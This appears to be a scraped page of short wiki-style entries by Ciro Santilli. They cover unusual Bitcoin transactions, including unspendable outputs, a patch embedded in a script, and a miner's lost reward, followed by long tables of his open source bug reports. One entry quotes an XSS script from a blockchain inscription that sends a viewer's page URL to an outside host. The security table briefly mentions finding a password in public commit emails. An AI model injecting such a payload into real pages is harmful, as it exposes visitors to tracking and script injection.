4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by Ciro Santilli 37 Updated +Created
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3 by Ciro Santilli 37 Updated +Created
In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one:
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
the third one being an OP_RETURN message.
a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 by Ciro Santilli 37 Updated +Created
Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and OP_FROMALTSTACK, thus making it spendable:
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP
Chinese custom by Ciro Santilli 37 Updated +Created
Blood brother by Ciro Santilli 37 Updated +Created
Xi Jinping by Ciro Santilli 37 Updated +Created
Romance of the Three Kingdoms event by Ciro Santilli 37 Updated +Created
Oath of the Peach Garden by Ciro Santilli 37 Updated +Created
Invalid Bitcoin transaction script by Ciro Santilli 37 Updated +Created
3ad6677303fb6f700a4f2f977fe86e5324e0ddb0d3b33a649e513d7e88904e85 by Ciro Santilli 37 Updated +Created
This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:
    {
      "value": 0.00002000,
      "n": 9,
      "scriptPubKey": {
        "asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
        "hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
        "type": "witness_v1_taproot"
      }
    },
Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
OP_INVALIDOPCODE by Ciro Santilli 37 Updated +Created
77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69 by Ciro Santilli 37 Updated +Created
Ouptut 0 disassembles as:
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIF
The large constant contains an ASCII Bitcoin Core patch entitled Remove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept:
From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE

I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
 backends/bitcoind/deserialize.py |    8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
     "OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
     "OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
     "OP_CHECKMULTISIGVERIFY",
-    ("OP_SINGLEBYTE_END", 0xF0),
-    ("OP_DOUBLEBYTE_BEGIN", 0xF000),
     "OP_PUBKEY", "OP_PUBKEYHASH",
-    ("OP_INVALIDOPCODE", 0xFFFF),
+    ("OP_INVALIDOPCODE", 0xFF),
 ])
 
 
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
         vch = None
         opcode = ord(bytes[i])
         i += 1
-        if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
-            opcode <<= 8
-            opcode |= ord(bytes[i])
-            i += 1
 
         if opcode <= opcodes.OP_PUSHDATA4:
             nSize = opcode
-- 
1.7.9.4
bitcointalk.org/index.php?topic=5231222.0 discusses what happens if there is an invalid opcode in a branch that is not taken.
Ciro Santilli's open source contributions by Ciro Santilli 37 Updated +Created
This is mostly stuff from before 2016 when Ciro was anxious to document his contributions to get a job.
Most of the projects here are also minor contributions, or Ciro later noticed that the projects were not useful enough to work on and that he was actually wasting his time.
Ciro Santilli's open source contributions / Size scale by Ciro Santilli 37 Updated +Created
Some of the contributions are subjectively self evaluated based on:
  • How many significant lines changed (no indentation changes, moves, mass refactoring, trivial tests, etc.):
    0only trivial changes
    1< 20
    2< 150
    3
    150
  • How hard it was to make it. 4 algorithmic lines are harder than 100 web development/documentation lines.
  • I opened and was confirmed or generated considerable interest
  • I wrote comments pointing out a non obvious cause/fix/duplicate.
  • I reviewed the patch
This shall not list bugs solved by my accepted pull requests.
Ciro Santilli's open source contributions / Security by Ciro Santilli 37 Updated +Created
DateProjectSizeDescription
2016-05All GitHub Commit Emails1Password disclosure grep password on email data. Gmail password worked and user confirmed.
Ciro Santilli's open source contributions / Closed source by Ciro Santilli 37 Updated +Created
Disclaimer: closed source vendors tend to be highly secretive, solving small issues without any reply, so I use my best judgement given the lack of feedback.
DateProjectTypeDescription
2019-07zenodo.org/Security bugCross-Site Scripting vulnerability. Also mentioned at: invenio-software.org/blog/security-advisor-20190715/
2015-09GitHubSupportAdd ability to fork and edit files from external URL
2015-05GitHubBug500 when listing GCC mirror branches
2015-04Free Software FoundationBugDuplicated paragraph at Octave at description of high priority projects
2015-03GitHubBug@about and @pricing generate at mentions even though they are reserved
2015-03Jenkov tutorialsTypotypo boolean -> long
2015-03GitHubBug502 on homepage on long streak
2015-02GitHubBugIf a CONTRIBUTING.md that is a symlink is present, the link to it should not show on new issue forms
2015-02GitHubFeatureAllow to reopen pull requests after a force push
2015-02GitHubBugIf a CONTRIBUTING.md that is a symlink is present, the link to it should not show on new issue forms
2014-12My Science WorkTypoTypos on settings page
2014-12GitHubBugMerge pull request window appears after rebase even if I don't have permission
2014-12GitHubFeatureRepository Traffic Analytics API
2014-12GitHubSupportPin issues or add header text to issues page
2014-12GitHubBugTree show links blobs to the last commit that contained the blob instead of commit that introduced the file
2014-12GitHubDuplicateDeal properly with uppercase .GIT file basenames on web editor like for lowercase .git
2014-12GitHubDuplicateAdd a "I have this issue too" button
2014-11GitBookBug500 on /edit without access
2014-11GitHubFeatureView non-rendered markdown source with line numbers on blob show
2014-11GitHubBug500 on branch index for long branch name pushed together with other branch
2014-11GitHubBugGFM ordered list with inner unordered paragraph list generates two ordered lists
2014-11GitHubBugGlitches for filenames that contain only spaces
2014-11GitHubBug500 on raw and 414 on blob show of long file name with 1024 characters
2014-11GitHubFeatureHighlight bytes / words in diffs on adjacent multi-line modifications
2014-11GitHubDuplicateAllow following of groups similar to following users
Ciro Santilli's open source contributions / Open source by Ciro Santilli 37 Updated +Created
DateProjectSizeDescription
2019-04gnuplotWhy does plotting with point labels make plot generation extremely slow?
2019-04GDB DashboardLimit the size of shown arguments in the Stack display
2018-03QEMU2Test record and replay feature. Also here
2018-02pandocAdd option to produce AsciiDoc output without explicit heading ids
2017-10AndroidGLES3 content gles3jni from ndk examples fails with "java.lang.RuntimeException: createContext failed: EGL_BAD_CONFIG"
2017-09Mozilla rrHow to automatically start replay and go directly to main instead of _start?
2017-09Mozilla rrReverse step over time(NULL) enters rr/src/preload/syscall_hook.S and leads to "Cannot find bounds of current function"
2017-08xselWhy maximum 4000 characters output with xsel -b ?
2017-06BuildrootDon't print mutiline struct function arguments on stack when set pretty print on
2017-04GDB DashboardAdd style option to print stack arguments on a single line
2017-05BuildrootBuild fails with "unexpected EOF while looking for matching "'" if PATH contains a newline
2017-04GDB DashboardAdd style option to print stack arguments on a single line
2017-03clBLAS.s[0] + CL_DEVICE_TYPE_ALL
2017-01game-icons.netUse multiple separate paths, allow customizing the color of each component, and give a default color
2017-01game-icons.netdelapouite/originals/svg/brick-wall.svg has some whitespace on top
2017-01OpenAI Gymexamples/agents/keyboard_agent.py fails with "AttributeError: 'TimeLimit' object has no attribute 'viewer'"
2016-12Simple DirectMedia LayerAdd C variable printf debug snippets
2015-03tigAccepted feature.
2014-11GitLabDuplicate
2014-11GitLabBug.
2014-11GitLabSupport.
2014-11Bootstrap Hover DropdownBug confirmed.
2014-11GitLabBug confirmed.
2014-11GitLabTriaging.
2014-11GitLabProblem with the display icons in the left block
2014-11sassBug confirmed.
2014-10GitLabPoint duplicate.
2014-10GitLabBug confirmed.
2014-10GitLabBug confirmed.
2014-10Semaphore CIBug confirmed.
2014-10libgit2Bug confirmed.
2014-10GitLabSupport.
2014-10GitLabPoint duplicate.
2014-09vader.vimAccepted feature.
2014-09GitLabPoint already fixed.
2014-09vader.vimAccepted feature.
2014-09GitLabBug confirmed.
2014-09GitLabBug confirmed.
2014-09GitLabPoint duplicate.
2014-09GitLabPoint already fixed.
2014-08markdownlint/markdownlintAccepted feature.
2014-08softcoverAccepted feature.
2014-08markdownlint/markdownlintAccepted feature.
2014-07GitLabBug confirmed.
2014-07GitLabAccepted feature.
2014-07GitLabAccepted feature.
2014-06GitLabAccepted feature.
2014-06GitLabPoint duplicate.
2014-06karlcow/markdown-testsuiteBug confirmed.
2014-06plasticboy/vim-markdownClose issue.
2014-06plasticboy/vim-markdownReview patch.
2014-06plasticboy/vim-markdownReview and patch patch.
2014-05softcoverAccepted feature.
2014-04karlcow/markdown-testsuiteClose issue with better issues.
2014-03tigAccepted feature.
2014-03GitLabAccepted feature.
2014-03softcoverAccepted feature.
2014-03GitLabAdd useful information.
2014-03GitLabPoint duplicate.
2014-03GitLabPoint duplicate.
2014-03GitLabAccepted feature.
2014-02GitLabPoint duplicate.
2014-02GitLabAccepted feature.
2014-02OverleafFeature generated considerable interest.
2014-02GitLabPoint already fixed.
2014-02GitLabLink feature request to patch.
2013-10yakuakeBug confirmed.
2013-10okularBug confirmed.
2013-06krusaderBug confirmed.
2013-05NumPyBug confirmed + inner cause.
2012-05krusaderAccepted feature.
2012-05krusaderBug confirmed.
2012-05AutoKeyBug confirmed.

There are unlisted articles, also show them or only show them.